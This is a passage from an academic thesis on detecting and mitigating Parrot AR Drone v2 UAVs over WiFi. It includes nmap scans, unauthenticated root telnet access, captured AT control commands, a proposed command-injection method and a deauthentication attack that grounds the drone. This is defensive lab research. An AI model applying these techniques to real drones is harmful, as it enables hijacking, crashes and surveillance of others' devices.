transmission is broadcast over the air to the receiver, security measures should be taken
to protect the confidentiality, integrity and availability of the signal, similar to CCTV
implementations using WiFi as a medium (Coole, Valli, & Woodward, 2012; Zhaoyu,
Dichao, Yuliang, & Liu, 2005). Surprisingly this is not the case, as mentioned
previously, all US military UAVs did not have encryption on the downlink video stream
until 2007, when after raiding an Iraqi militant bunker, US forces found hundreds of
logged hard drives containing UAV reconnaissance videos (Fritz, 2012). The encryption
issues are not only a part of military implementations, with initial research into the
Parrot specifically by Bristeau et al. (2011) showing there is no onboard encryption of
the video, or the signal it travels upon. Video encryption is slightly different to signal
encryption, as it is quite resource heavy, only a certain amount of the video can be
encrypted to maintain a real time connection and distort the visual and audio adequately
(Shah & Saxena, 2011). This is elaborated on by Zhaoyu et al. (2005) who noted that
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6% encryption on a MPEG video stream is sufficient with current processing power to
prevent reconstruction of the video. However, video encryption also suffers from
security issues similar to signal encryption implementations, such as key exchange.

Attacking an over the air video stream is not a new concept, with a range of attacks
highlighted by Coole (2012) when undertaking risk assessments of WiFi medium CCTV
systems. In the application of UAVs the video link is significant, with this being the
only visual identifier providing information for pilots on the ground along with
reconnaissance information (Hartmann & Steup, 2013). Deligne (2012) undertook an
attack against the Parrot drones video stream to supplement the original stream with
other video. Deligne (2012) used a number of conversion techniques and developed a
malware to over the air drop onto the UAV through its weak security practices to
supplement the video. This was a surprising angle to take for supplementing video
stream, as the H.264 standard is widely implemented in both commercial and military
applications, thus being well documented; along with the encapsulation headers of the
Parrot, named PaVE (Parrot Video Encapsulation) being open source, shown in
Appendix A. Jamming the video link through exploiting the standard could also be
possible, as it has been shown that some H.264 implementations can suffer from bit
stream errors (Ames, 2012). From this it seems feasible to create mitigations through
attacking the video stream by constructing H.264 frames for packet injection attacks or
jamming the video link.

Further, Rand (2013) examined the video stream on the AR Parrot Drone v1, attempting
to open multiple video streams simultaneously. Rand explored two methods, video
loopback and shared library injection. Rand claims to have been able to share the video
stream in real time between the onboard controller program and his custom program
using a shared library injection, however Rand mentions that flight control becomes
unstable using this method. In addition, these claims are unverifiable due to Rand
delaying the release of his source code proving his implementation is successful.

Mitigation techniques have primarily been focused on military UAVs, to protect CI,
operations and personnel, with military methods, such as anti-aircraft weapons found to
be ill suited for use against small military UAVs. These methods are being replaced with
the concept of EW methods, which are appropriate for civilian UAV mitigation. EW
methods involve mitigation through control of the data link technology, of which the
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major types used are satellite and 802.11 WiFi, with onboard GPS for most if not all
UAVs for location tracking. A video stream is also connected to provide visuals over the
data link. The flaws in these technologies allow for mitigation techniques to be
developed. To immobilise or gain control of a UAV to prevent the UAV from entering
unauthorised areas, or to prevent the real video stream being sent back to a ground
controller.

2.3 Summary
This review shows that there is no lack of detection methods for aircraft; the major issue
is overcoming the limitations of each method when applied to small UAVs. While the
majority of methods are attempting a complete solution, the individual methods’
limitations prevent this. Hybrid methods incorporating radar, visual, acoustics and data
link seem promising, with research being undertaken in this field. Similarly, current
mitigation methods against control and visuals on UAVs, have significant limitations, or
are not adequate for small UAVs. Mitigation research is currently focused on larger
military UAVs, while concomitantly being theoretically applied to small civilian UAVs.
This research aims to address these issues by developing a method of data link detection
appropriate for a common small UAV using 802.11 WiFi as its data link technology,
along with applying the concept of EW to create mitigation methods for small civilian
UAVs. Mitigation will be achieved by exploiting the data link technology to gain
control of the UAV, and disable the video stream to prevent visual data being obtained.
This will result in a method of addressing the privacy and security issues relating to
small civilian UAVs. In order to develop a solution, research approaches must be
explored in order to generate a research method, and subsequent research design
capable of answering the posed research questions. The following chapter elaborates
upon a range of research approaches applicable to this research, reviews potential
methods then presents a proposed research design.
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3.0 Research Methods and Design
This chapter commences with elaborating upon the various research approaches in the
field of information systems which can be applied to the field of computer science,
through a process of elimination, an appropriate approach for this research is selected.
From this approach, the associated methods are explored and subsequently narrowed to
methods suitable for this research. With the selection of a method, the research design is
presented, which details the process by which this research will be conducted.
Following this, the necessary software, hardware, and subsequent purpose of these
materials is explored. Subsequently the method of data analysis to be used is described,
concluding with a discussion of the limitations of this research.

3.1 Research Approach
There are a range of approaches that can be used when undertaking research in the
computer science field. Galliers (1990), in evaluating approaches from the
complementary field of information systems, shows that these approaches can be
represented as a spectrum between “empirical” (quantitative) and “interpretive”
(qualitative) research, whereby the suggested method to use (“mode” in Figure 1)
correlates to the topic area being researched (or object of interest, to use Galliers’ term)
as shown in Figure 1. Further to this, Myers and Klein (2011) present a third type of
approach termed critical research, which borrows from the philosophical foundations of
both qualitative and quantitative research to examine how more quantitative subject
matters, such as technology, impact and influence qualitative themes, such as social
issues.
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Figure 1: The Range of Research Approaches (adapted from Galliers, 1990)
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3.1.1 Object of Interest
Clearly, objects aimed at understanding people’s views on a topic and using these as
evidence are not appropriate. This research does not aim to explore the views of people
on

UAV

security

and

privacy

issues;

as

such

this

eliminates

society,

organisations/groups and individuals as objects of interest. Examining the remaining
objects of interest, the research could be identified as being related to technology, as
UAVs are a technology; however the research to be undertaken has the primary goal of
addressing the issues relating to this technology and creating a solution, rather than
advancing the technology directly, thus technology has been eliminated technology as a
topic area of this research. Following this process of elimination, it is clear that the
research falls into the theory category of objects, of which there are three; theory
building, theory testing and theory extension. Subsequently, theory building, defined as
the expansion of theories in a limited knowledge area, can be eliminated, as the research
aims to use existing theories from the body of knowledge, applied to this problem to
create a solution. Similarly, theory extension, defined as the improvement of existing
theories is not an appropriate object, as the research directly relates to testing of
established theories. As such the identified research object which this research falls
under through process of elimination must be theory testing, as the research will involve
the testing of defined theories in computer science, applied to the detection and
mitigation of small civilian UAVs.
3.1.2 Research Method
According to Galliers (1990) the suggested research methods appropriate for theory
testing are theorem proof, laboratory experiments, field experiments, case studies,
surveys, simulation and action research. From analysis of Galliers’ taxonomy, the
methods classed as possibly suitable will be eliminated, unless all probable suggested
methods are found to be inappropriate. The research questions are oriented towards the
collection of real data; therefore theorem proof is not an appropriate method. The
remaining empirical methods suggested, laboratory and field experiments seem
applicable, as they relate directly to methods of collecting empirical data to test
hypotheses. However, to ensure a greater control over variables, such as limiting
wireless interference, field experiments are discounted as a method in this research. It is
noted however that future research in this area could be conducted with a field
experiment method. Therefore, the method to be undertaken for this research is
laboratory experiments to prove hypotheses based upon existing theories, while
providing repeatability, refutability and reductionism.
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3.1.3 Identified Research Approach
From analysis of the object of interest related to this research, in addition to the method
most appropriate for this research, it is clear that a quantitative approach is most suitable
for this research. The research directly relates to empirical observations and testing
hypotheses. The research does not involve examining qualitative themes about the topic
matter, or determining the impact the topic matter has on these themes, thus discounting
the qualitative and critical research approaches to research.

3.2 Research Design
A tailored experimental process will be used, depicted in Figure 2. The key point of this
process is that any result from these experiments will improve the body of knowledge,
regardless of proving or disproving the hypothesis stated for each experiment.

Figure 2: Process Flowchart of the Research Programme
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Identified from the research questions, a number of hypotheses have been proposed
which will assist in answering the research questions. These are presented as Figure 3.
As is conventional for hypothesis testing, the null hypothesis H0 relates to the relevant
alternative hypothesis (i.e. H1-H9) being disproven; this will be tested for each
hypothesis. For example, in the case of H1, H0 would be: The Parrot UAV does not
output an identifiable signal.
Hypothesis

Related Research
Question

H1: Does the Parrot UAV output an identifiable signal?

RQ1-a

H2: Can a detection signature be derived from an identifiable RQ1-a
signal output by the Parrot UAV?
H3: Does the Parrot communicate with the ground controller

RQ1-a, RQ1-b

using 802.11?
H4: Can the Parrot be directly interacted with by an external

RQ1-a, RQ1-b

entity?
H5: Is the Parrot UAV susceptible to control manipulation?

RQ1-b

H6: Are there multiple methods which can be used to manipulate RQ1-b
the control of a Parrot UAV
H7: Can the video stream between the Parrot UAV and controller RQ2
be intercepted by a third party?
H8: Does the Parrot UAV use a modified H.264 video encoding RQ2
scheme?
H9: Can access to the video stream of the Parrot UAV be

RQ2

limited?

Figure 3: Proposed Hypotheses and Related Research Questions
There were a number of identified experiments planned, initially to determine
information about how the Parrot interacts with the ground controller, confirming what
standards the Parrot uses, and how the Parrot operates, in relation to prior research. With
this information, analysis will be conducted to identify significant details from which a
detection signature could be derived. Further experiments will be designed to test the
robustness of the data link, by attempting a range of network-based attacks as strategies
to gain control of the device. Analysis of these attacks will provide insight into the
possible methods which can be used to achieve mitigation. This will address the subquestions of research question 1.
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Experiments relating to video manipulation will be undertaken after a successful
detection and control solution is developed, as the ability to interact with video frames
will be dependent on a level of control, which can only be gained from detection of the
device. Therefore, these experiments will involve determining the possibility of direct
real-time manipulation of video for the Parrot based on the level of control available to
manipulate the onboard video. These experiments will also take into account any
noticeable impact on performance these experiments will have on the UAVs hardware,
as the manipulation should be achieved with minimal unintentional disruption to normal
UAV operation. Initial identified experiments include exploring the video stream’s
structure, through deconstruction of H.264 video frames, and determining methods in
which the normal video stream can be manipulated to prevent the ground controller
from viewing the UAVs video stream. These experiments will assist in drawing
conclusions about research question 2.

A list of initial proposed experiments is presented in Figure 4; however the research
design presented is iterative in nature. Depending on the results, experiments may need
to be altered to fully test a hypothesis, or further experiments may be undertaken as
necessary; as new hypotheses may be unearthed during research which will assist in
answering the posed research questions.
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Experiment

Aim

Hypotheses

Detection Experiments
Connection Captures

To determine the connection sequence between the H1, H2, H3
controller and UAV, along with determining any
significant features that can be used for signature
detection

Command Captures

Capturing the commands sent between the controller H3
and UAV, to determine how the UAV is controlled

File system exploration

Exploration of the UAVs internal file systems, to H2, H4
determine the processes and utilities present on the
device, which can lead to insight on determining
detection factors and developing a mitigation strategy

Effect
of
multiple To determine if multiple devices (iPad and iPhone) can H4
connected devices
be connected simultaneously to the UAV, and the effects
this has on the control link, UAV, and controllers.
Control Experiments
Deauthentication

Determining the effect Deauthentication of the ground H4, H5, H6
controller has on the UAV,

Signal Jamming

Exploring the possibility of targeted signal jamming of H4, H5, H6
the data link between the controller and UAV, recording
the effect against both.

ARP cache Poisoning

A follow on from Deauthentication, to determine if the H4, H5, H6
IP address of the original controller can be associated
with the test machines MAC address, to take control of
the UAV.

MAC Address Spoofing

Determining the outcome of spoofing the controllers H4, H5, H6
MAC address, and then connecting to the UAV

Command Injection

Determination of if direct manipulation of the file H4, H5, H6
system through commands from a mitigating device can
cause the UAV to stop, or be issued commands

Video Experiments
Video Stream Capture

Network captures of the video stream data, to determine H7
if the video stream can be viewed.

Packet Deconstruction

Deconstructing the video packets to determine how the H8
Parrots implementation of H.264 packets is structured.

Video Manipulation

Exploring methods that can be used to manipulate the H9
viewing of the video stream.

Figure 4: Proposed Initial Experiments
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3.3 Materials
To maintain consistency and aid in repeatability of results, the materials used
throughout each experiment should be identical. The hardware and software used in this
research, coupled with their versions are listed in Figure 5.
Hardware/Software:

OS/Version:

Antec Custom Desktop

Ubuntu 12.04

TP-Link 150mbps Wireless network Card

Default Firmware/drivers

Standard iPhone 5

iOS 7.0.6

Parrot AR drone v2

Linux 2.6.32.9 Kernel

iPad

iOS 6.1.3

AR.FreeFlight iPhone/iPad Application

2.4.3/2.4.6/2.4.12

Wireshark

1.6.7

tshark

1.6.7

nmap

5.21

Aircrack-Ng

1.2

Python

2.7

scapy Python module

2.2.0

Sublime Text 2

2.0.2

iptables

1.4.11.1

External Hard Drive

Seagate backup plus

VMware Player

5.0.2 build-1031769

Ubuntu virtual machine image

12.04

crosstool_ng

1.9.3

Linaro tool chain

4.6.3

Custom ARM toolchain

N/A

ffmpeg

2.1.1

vlc

2.0.8

Figure 5: Identified Research Materials Table
The Antec Desktop will be used as the test machine for experiments and research
involving manipulating file systems, capturing network traffic and utilising Linux
utilities, these include Wireshark and nmap. The Desktop machine will also be used for
Python code development, using version 2.7 of Python for additional library support
compared to Python 3. For a number of the wireless network captures and control
attacks using aircrack-ng, Wireshark, tshark and scapy, wireless cards with specific
drivers are needed, thus the use of the TP-Link wireless network card. The ground
controllers used include a standard iPhone 5 running iOS 7.0.6, and an iPad 2 running
Page 33 of 91

iOS 6.1.3. The ground controller software used was AR.FreeFlight iPhone/iPad
Application. The Parrot drone is running a modified Linux 2.6.32.9 kernel, running
iptables version 1.4.11.1. In order to compile programs for the Parrot, a number of cross
compiler environments were developed and deployed in virtual machines. For video
experiments, ffmpeg and vlc will be used to decoding the streams to verify any
intricacies in the Parrot’s implementation of the H.264 video codec.

3.4 Data Analysis
Analysis of the data will involve interpreting the results of experiments and
documenting certain characteristics of the data, such as time to connect to the Parrot
UAV, or the impact video manipulation has on UAV performance. These data will be
useful in identifying possible solutions, and will be retrieved by using appropriate tools
such as Wireshark for network captures. By using existing tools, the project can be kept
in-scope as it does not require the creation of custom tools for analysis.

3.5 Limitations
The limitations for this research relate to testing only one type of small civilian UAV for
both detection and mitigation strategies. However it is expected that the results could be
generalised to other types of small UAV using 802.11 as its data link technology. While
identified as using a laboratory experiment method, uncontrollable factors, such as
signal interference still exist, due to being limited in preventing additional signals in the
spectrum being measured.

3.6 Summary
This chapter presented research approaches identified for the field of information
systems, in relation to how these approaches can also be applied to the computer science
field. This was followed by identifying the object of interest of the research, which led
to determining an appropriate method for this research. Laboratory experiments were
determined as the appropriate method to use for this research. By identifying the topic
and method of this research, the approach could be defined as a quantitative research
approach, from which the research design could be developed, detailing the process,
materials and data analysis methods to be used. Finally, the limitations of this research
were noted. The next chapter presents the analysis and discussion of observations
undertaken during a series of experiments designed to test hypotheses linked to the
research questions.
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4.0 Analysis and Discussion
In this chapter, the results of a series of experiments exploring the research topic are
presented. This chapter begins with a discussion of the expected results, followed by the
findings of experiments undertaken to substantiate hypotheses. After, experiments
related to newly-generated hypotheses are presented. Finally, the results of these
experiments are discussed.

4.1 Expected Results
Predictions on the results of detection are possible, due to the characteristics of the
802.11 WiFi standard. Generation of a generic data signature will be possible due to
these characteristics, with this signature being used to filter network streams to find
these UAVs.

In regards to mitigation of the device, it is expected that mitigations can be applied to
the Parrot; however the effectiveness will be dependent upon further experimentation
and analysis.

4.2 Detection
This section begins with the initial analysis of network connections between the Parrot
and a controller to determine any possible characteristics that could be used to develop a
data link detection signature. This is followed by analysis of multiple connected
devices, the types of data being sent across the network connection, and analysis of the
file system of the Parrot.
4.2.1 Connection captures
Using Wireshark and a TP-Link 802.11 wireless card, network captures of the
connections between the controller device and Parrot were undertaken. These captures
were examined, with an array of information determined, which could be used to
develop a detection signature. The vendor MAC address was identifiable (the
manufacturer is assigned the allocation 90:03:B7). Additionally a number of ports were
found to be open distributing data across the network, these being 5552, 5554, 5555 and
5556 depicted in Appendix B. There was a large amount of data traversing from Port
5555, which upon further inspection was determined to be the video stream from the
onboard camera. A number of UDP packets were sent to port 5556 from the controller,
with packets from port 5554 on the Parrot being sent to the controller. It was determined
that port 5554 was sending information about the device, called nav data, such as
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battery life and position, back to the controller. While the controller application was
sending UDP packets on port 5556 containing a unique ascending reference number and
what appeared to be control commands.

There is a distinct connection pattern when connecting a device to the Parrot. When the
controller connects to the device a number of ARP packets are sent around the network,
along with a DHCP request. As per the settings in the Parrots DHCP configuration, an
address between 192.168.1.2 and 192.168.1.5 is assigned to the controller. After 5
connection/reconnection attempts, there was no repeatable graceful disconnection
sequence identified. Connection speed between the controller and Parrot is between 1.5
and 2.5 seconds. After connection has been established, the controller multicasts a UDP
packet from port 5552, a response UDP packet is then sent from port 5552 on the Parrot
to port 5552 on the controller shown as Figure 6. After further examination, it was
determined that this port is an authentication service for the device, the packet
deconstruction is included as Figure 7
No
1

Time
0.000000

Source
192.168.1.1

Destination
192.168.1.2

Protocol
UDP

Length
118

2

0.000721

192.168.1.2

192.168.1.1

UDP

106

3

0.001818

192.168.1.1

192.168.1.2

UDP

118

4

0.002550

192.168.1.2

192.168.1.1

UDP

106

5

0.003079

192.168.1.1

192.168.1.2

UDP

118

Info
Source port:
Destination
5552
Source port:
Destination
5552
Source port:
Destination
5552
Source port:
Destination
5552
Source port:
Destination
5552

5552
port:
5552
port:
5552
port:
5552
port:
5552
port:

Figure 6: Parrot Authentication Handshake
Sent (From Parrot)
PARROT AUTH AR.DRONE OK
PARROT AUTH AR.DRONE OK
PARROT AUTH AR.DRONE OK

Received (From Controller)
PARROT AUTH
PARROT AUTH

Figure 7: Authentication Packet Deconstruction

Further analysis of all active ports using nmap TCP scans found ports 21, 23, 5551,
5553, 5555, 5557 and 5559 open, shown in Figure 8. The services running on these
ports were determined and confirmed using netstat on the Parrot (Figure 9). Ports 21
and 23 being the default ftp and telnet services, which were active and enabled without
any security, leading to the ability to connect to the Parrot and upload files whilst the
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UAV is operating. Port 5551 was determined as the direct to USB video recording port
used when a USB device is attached. Port 5553 is used for video recording, in addition
to the live stream video from port 5555. Port 5557 is an active port with no discernible
use, while port 5559 is listed in the system developer guide as being used for retrieving
non critical control configurations active on the Parrot depicted in Appendix A, and thus
is actively listening for requests to display its information.
Host is up (0.014s latency).
Not shown: 65528 closed ports
STATE
SERVICE
open
ftp
open
telnet
open
unknown
open
unknown
open
freeciv
open
unknown
open
unknown

PORT
21/tcp
23/tcp
5551/tcp
5553/tcp
5555/tcp
5557/tcp
5559/tcp

Figure 8: Output of TCP nmap scan of Parrot
Prot
o
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp

Recv
-Q
0
0
0
0
0
0
0
0

udp

0

Active Internet connections (servers
send Local
Foreign
-Q
Address
Address
0
0.0.0.0:5551 0.0.0.0:*
0
0.0.0.0:5553 0.0.0.0:*
0
0.0.0.0:5555 0.0.0.0:*
0
0.0.0.0:5557 0.0.0.0:*
0
0.0.0.0:21
0.0.0.0:*
0
0.0.0.0:23
0.0.0.0:*
0
0.0.0.0:5559 0.0.0.0:*
157
192.168.1.1: 192.168.1.4:46
23
629
0
0.0.0.0:5552 0.0.0.0:*

udp
udp
udp

0
0
0

0
0
0

0.0.0.0:5554
0.0.0.0:5556
0.0.0.0:67

and established)
State
PID/Program name
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
ESTABLISH
ED

0.0.0.0:*
0.0.0.0:*
0.0.0.0:*

805/inetd
808/program.elf
808/program.elf
808/program.elf
805/inetd
893/telnetd
808/program.elf
893/telnetd
898/parrotautoda
emo
808/program.elf
808/program.elf
895/udhcpd

Figure 9: Output of netstat Command on Parrot
Host is up (0.0020s latency).
PORT
STATE
SERVICE
67/udp
open | filtered
dhcps
5552/udp
open | filtered
unknown
5553/udp
closed
unknown
5554/udp
open | filtered
unknown
5555/udp
closed
rplay
5556/udp
open | filtered
unknown
MAC Address: 90:03:B7:35:24:24 (Unknown)

Figure 10: Output of UDP nmap scan of Parrot
An additional nmap scan of all UDP ports was undertaken revealing, ports 67, 5552,
5554 and 5556 as open but Filtered, shown in Figure 10. This correlates with initial
findings, with port 5552 handling the Parrot’s authentication, 5554 being nav data and
5556 being control commands, while port 67 manages the dhcpd for the Parrots
network, assigning IP addresses to connected devices. While UDP scanning the Parrot,
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the control stream coming from port 5556 was interrupted by nmap, preventing control
of the Parrot until a power reset was undertaken; depicted in Appendix B. This was
identified as an area to examine further, which could be used as a mitigation strategy
against the Parrot.

Initial work by Peacock and Johnstone (2013) suggested that de-authentication and reauthentication could be quick enough to be achieved in mid-air, due to a generic
connection pattern, coupled with the speed of the connection. Initial experiments
undertaken in this research has confirmed this hypothesis.

Between initial connection testing and further testing, the ground controller software
environment needed to be updated to address potential security issues resulting from
SSL implementation errors in Apple products (NIST, 2014). As such the testing
environment was updated on the iPhone, to run iOS 7.0.6, with AR freeflight version
2.4.12. To ensure consistency between results, previously collected network captures
were repeated. The iPad was unchanged from the original environment to discover
possible inconsistencies between the versions of the ground controller software.

Upon analysis of the updated connection captures, it was found that there was no
change to the connection sequence between the Parrot and the ground controller.
However a minor security feature was removed between versions 2.4.3 and 2.4.12 of the
application. This security feature is called MAC address pairing, which filters where
commands sent to the Parrot are accepted from through the controllers MAC address, a
unique hardware address contained in every networking device. Further analysis of the
implementation of MAC address pairing was determined to be of use, as it cannot be
assumed that all Parrots are using controllers operating on the latest update. Thus,
experiments relating to MAC address pairing used the iPad testing environment. In
order to gain control over Parrots utilising this feature, H10 was formulated, shown in
Figure 11.
Hypothesis

Related Research Question

H10: Can MAC address pairing on the Parrot UAV

RQ1-b

be subverted?

Figure 11: Identified additional Hypothesis
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Examining the network captures between the Parrot and controller has revealed a
number of identifiable features. The network utilises standard 802.11 WiFi features,
validating hypothesis H3. The vendor MAC address and specific open ports has proven
H1 and supports H2.
4.2.2 Command Captures
Examination of UDP packets sent on port 5556 revealed the word AT as a common
occurrence in each packet. Examining the Developers guide for the Parrot, section 6,
titled AT Commands, describes their purpose as a text string starting with the keyword
AT, followed by other key words to notify the Parrot onboard controller that a command
is being issued (Piskorski et al, 2012). These commands are sent in sequence with a
unique ascending identification number, to account for the lossy nature of UDP;
preventing multiple commands being accepted simultaneously. Initial capture of AT
commands is depicted in Figure 12, with a listing of all AT commands included as
Appendix A. The AT commands used in the Parrot control strings are reminiscent of
Hayes modem commands, developed by Dennis Hayes; which similarly used the
keyword AT before issuing a command to the modem.
AT*REF=12631,290717696
AT*PCMD_MAG=12632,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12633,290717696
AT*PCMD_MAG=12634,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12635,290717696
AT*PCMD_MAG=12636,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12637,290717696
AT*PCMD_MAG=12638,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12639,290717696
AT*PCMD_MAG=12640,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12641,290717696
AT*PCMD_MAG=12644,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12645,290717696
AT*PCMD_MAG=12646,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12647,290717696
AT*PCMD_MAG=12648,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12649,290717696
AT*PCMD_MAG=12652,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12653,290717696
AT*PCMD_MAG=12654,0,-1159415390,-1147854121,0,0,0,0
AT*REF=12655,290717696

Figure 12: Network capture of Parrot AT commands
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Determined from the Parrot Developers Guide, and confirmed through experimentation,
if the Parrot does not receive two consecutive AT command within two seconds the
Parrot assumes connection has been lost with the controller, if flying this causes the
Parrot to enter hover mode. Additionally, AT commands are sequentially numbered,
with higher order sequence numbers having precedence in command execution,
excepting the first sequence number of 1 having precedence over any currently issued
commands. Further analysis of the Parrot Developers Guide revealed interesting AT
commands that could serve a purpose for mitigating control of the Parrot, these included
switching the video off, de-pairing paired devices and sending GPS coordinates. From
this, it was theorised possible to inject commands into the control network stream by
using a sequence number, either 1, or higher than the current number, coupled with an
identified potentially useful command. This was identified as requiring further
experimentation, detailed in Figure 15.

Examining the control commands captured between the Parrot and controller, along
with examining the Parrot Developers Guide has revealed the method in which the
Parrot and controller communicate, proving H3. Additionally, further experiments were
identified which could assist in proving H4, H5, H6, H7 and H8.
4.2.3 File System Exploration
As the Parrot had open telnet and ftp ports, 23 and 21 respectively; direct connection
was attempted. Initiating a telnet connection to 192.168.1.1 port 23 without any
credentials, connects directly to the Parrots file system, presenting a busy box shell with
root privileges, depicted in Figure 13. As such, all files and directories are available for
viewing and modifying. A direct ftp connection to 192.168.1.1 port 21 revealed that the
ftp server could also be connected to, presenting the /data/videos directory, identified as
where flight recordings are stored on the Parrot. Further examination of the file system
identified that the Linux kernel had been stripped down from a standard 2.6.32.9 kernel,
with a number of applications removed. Of the remaining applications present, a
number were identified as having the potential to be used against the Parrot for
mitigation, these included iptables, inetd and netcat.

Examination of changes to the file system revealed interesting characteristics. By
default the datetime of the system is set to Unix epoch, January 1st 1970, alterations to
the datetime settings of the device are stored in flash memory, meaning they are wiped
after a power reset on the device. However files that are placed onto the device are
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persistent between reboots, as shown in Figure 14, where the file was placed at 00:12:51
UTC, while the active time on the device is 00:00:53 UTC. This equates to the
possibility of mitigation options that involve dropping new configuration files onto the
Parrot, through the use of the ftp service.
Permissions
drwxr-xr-x
drwxr-xr-x
drwxrwxr-x
drwxr-xr-x
drwxrwxrwt
drwxrwxr-x
drwxr-xr-x
drwxr-xr-x
drwxrwxr-x
drwxr-xr-x
drwxrwxr-x
drwxrwxr-x
dr-xr-xr-x
drwxrwxr-x
drwxrwxr-x
drwxr-xr-x
drwxrwxrwt
drwxr-xr-x
drwxrwxr-x
drwxrwxr-x

Links
20
20
4
4
4
3
2
3
3
5
2
2
73
2
2
12
3
2
8
2

Owner
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

Group
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

Size
1328
1328
5304
1024
3500
1256
1064
368
224
2800
240
160
0
160
2752
0
160
232
544
352

Last Modified
Month
Day
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1
Jan
1

Name
Time
00:07
00:07
1970
00:00
00:00
1970
00:01
00:00
00:09
1970
1970
1970
1970
1970
1970
1970
00:00
00:00
1970
1970

.
..
bin
data
dev
etc
factory
firmware
home
lib
licenses
mnt
proc
root
sbin
sys
tmp
update
usr
var

Figure 13: Output of ls- la on Parrot AR Drone v2
Command
date –r hello_arm
date

Response
Sat Jan 1 00:12:51 UTC 2000
Sat Jan 1 00:00:53 UTC 2000

Figure 14: Evidence of Parrot File Persistence
Exploring the file system of the Parrot has assisted in proving H2, confirming that a
number of services are running on the Parrot. This experiment has revealed additional
information on the interaction between the Parrot and controller, proving H3. Direct
connection to the Parrot has proven H4.
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4.2.4 Connected devices
Determining how the Parrot and controller reacted to having multiple devices connected
to the Parrot network was important for developing mitigations, to ascertain behaviour
that would possibly need to be managed. When switched on, the Parrot acts as an access
point, from which devices that are WiFi enabled, such as phones, tablets and computers
can connect to. Initial findings showed that multiple devices could be connected to the
Parrot, however, when multiple devices attempt to interact with any data streaming from
or too the Parrot, such as the video stream or control commands, the devices would
seize up. Interestingly with the video stream, when one device attempts to connect while
another is currently connected, the originally connected device is frozen alerting the
user, and the newly connected device receives the stream. This action is repetitive, if
another device attempts to receive the video stream; the previously connected device's
connection is discarded. This has the potential to be used as a mitigation strategy, by
preventing the video stream from reaching the controller. Unlike the video stream, the
control commands could not be directly interacted with when multiple devices were
connected.

Through connection of multiple devices simultaneously, additional evidence has been
presented proving H4
4.2.5 Detection signature
From initial analysis of the connection stream and file system, there were distinct
characteristics which could be used to identify the Parrot UAV. First, the vendor-specific
MAC address can be used as a point of recognition that a Parrot AR drone has entered
the range of a device capable of scanning the spectrum. Second, a number of specific
TCP ports are active and open on the device; these include ports 5551, 5553, 5555, 5557
and 5559 all of which have Parrot specific purposes. Other active TCP ports include 21
and 23; FTP and telnet respectively. Additionally, UDP Ports 67, 5552, 5554 and 5556
are also open on the Parrot, but are filtered.

The identified characteristics of the Parrot were formed into a detection signature. A
Python script was developed to test the validity of this signature. Network scanning
techniques were used to identify MAC addresses of devices in the immediate spectrum;
this address list was then filtered, to identify potential UAVs. If identified, probes are
sent to specific ports to determine if the active and filtered ports match those in the
developed signature. All identified ports, apart from 5556 are probed to confirm a parrot
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in the vicinity; this is to prevent the controller from losing control by interacting with
port 5556. This script is included in Appendix C

4.2.6 Summary
Through analysis of the Parrots connection process and file system, an array of useful
information was discovered, which was beneficial for crafting further experiments,
presented as Figure 15. A data analysis signature was derived from identified
characteristics of the Parrot, namely the vendor specific MAC address, coupled with the
various specific ports that are open or filtered on the Parrot. Testing the signature
revealed a reliable method of detecting Parrots which enter between 100 and 50 metres
(802.11n range) of the detection device; depending on interference and weather
conditions. The culmination of these experiments has proven H1, H2, H3 and H4.
Experiment

Aim

Hypothesis

Malformed UDP
send
Video Disable AT
command
GPS location AT
command
MAC un-pair AT
command
Manipulating file
system utilities

To examine and recreate the unexpected behavior identified
while undertaking connection captures.
Examine the effect of sending a video disable AT command at
the UAV.
Examine the effect of sending incorrect GPS location AT
commands at the UAV
Examine the possibility of injecting a MAC un-pair AT
command to the UAV, to circumvent the UAVs security measure.
Examining if the onboard utilities, iptables, ftp, telnet and netcat

H5
H5
H5
H5
H5, H6

Figure 15: Further identified experiments

4.3 Mitigation
Mitigation was an aim of this thesis, as identified previously there is a severe lack of
mitigation methods for small civilian UAVs in the body of knowledge. This section is
split into two mitigation approaches this thesis aimed to address; control and video.
4.3.1 Control
The control section details the methods and results of a series of experiments related to
manipulating the control of the Parrot, through exploiting the characteristics of the data
link and applications running onboard the Parrot. The results of experiments relating to
Deauthentication, Signal jamming, ARP cache poisoning, command injection and
manipulating file utilities are presented.
4.3.1.1 Deauthentication
After examining the connection procedures of the Parrot and a controlling device, along
with the knowledge of WiFi vulnerabilities, it was theorised that a Deauthentication
attack could be used against the Parrot to disconnect the device and the controller.
Under repeatable conditions, aircrack-ng was used to send Deauthentication packets at
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the Parrot and controlling device, depicted in Appendix C. The experiment was
successful in disconnecting the two devices, while also identifying generic states the
Parrot would enter when abnormal events occur. In this case, losing the control data link
results in “hover mode” whereby current altitude is maintained until a connection is reestablished or the battery has drained. Once connection is re-established, the Parrot
enters an “emergency landing mode”, whereby the Parrot lands before control is
completely regained; this behaviour was also observed when the battery is drained. This
infers that de-authenticating the Parrot and the controller can cause the device to
become inoperable for a period of time. Additionally, while not connected to the
controller, further mitigations can be directly applied to the Parrot.

The use of Deauthentication provides a level of control over the Parrot, causing the
Parrot to stop movement, or land; thus proving H5, Is the Parrot UAV susceptible to
control manipulation?
4.3.1.2 Signal Jamming
Further research into signal jamming deemed it improbable to jam a specific signal on
the WiFi spectrum; with severe legal consequences for attempting this. As per the
Radiocommunications (Prohibitions of PMTS Jamming Devices) declaration 2011,
(2011), any device which affects the public mobile telecommunications service (PMTS)
through the use of interference or jamming is prohibited for use, sale and import in
Australia. As such, research into this area for blocking the communication between the
Parrot and controller ceased.
4.3.1.3 ARP Cache Poisoning
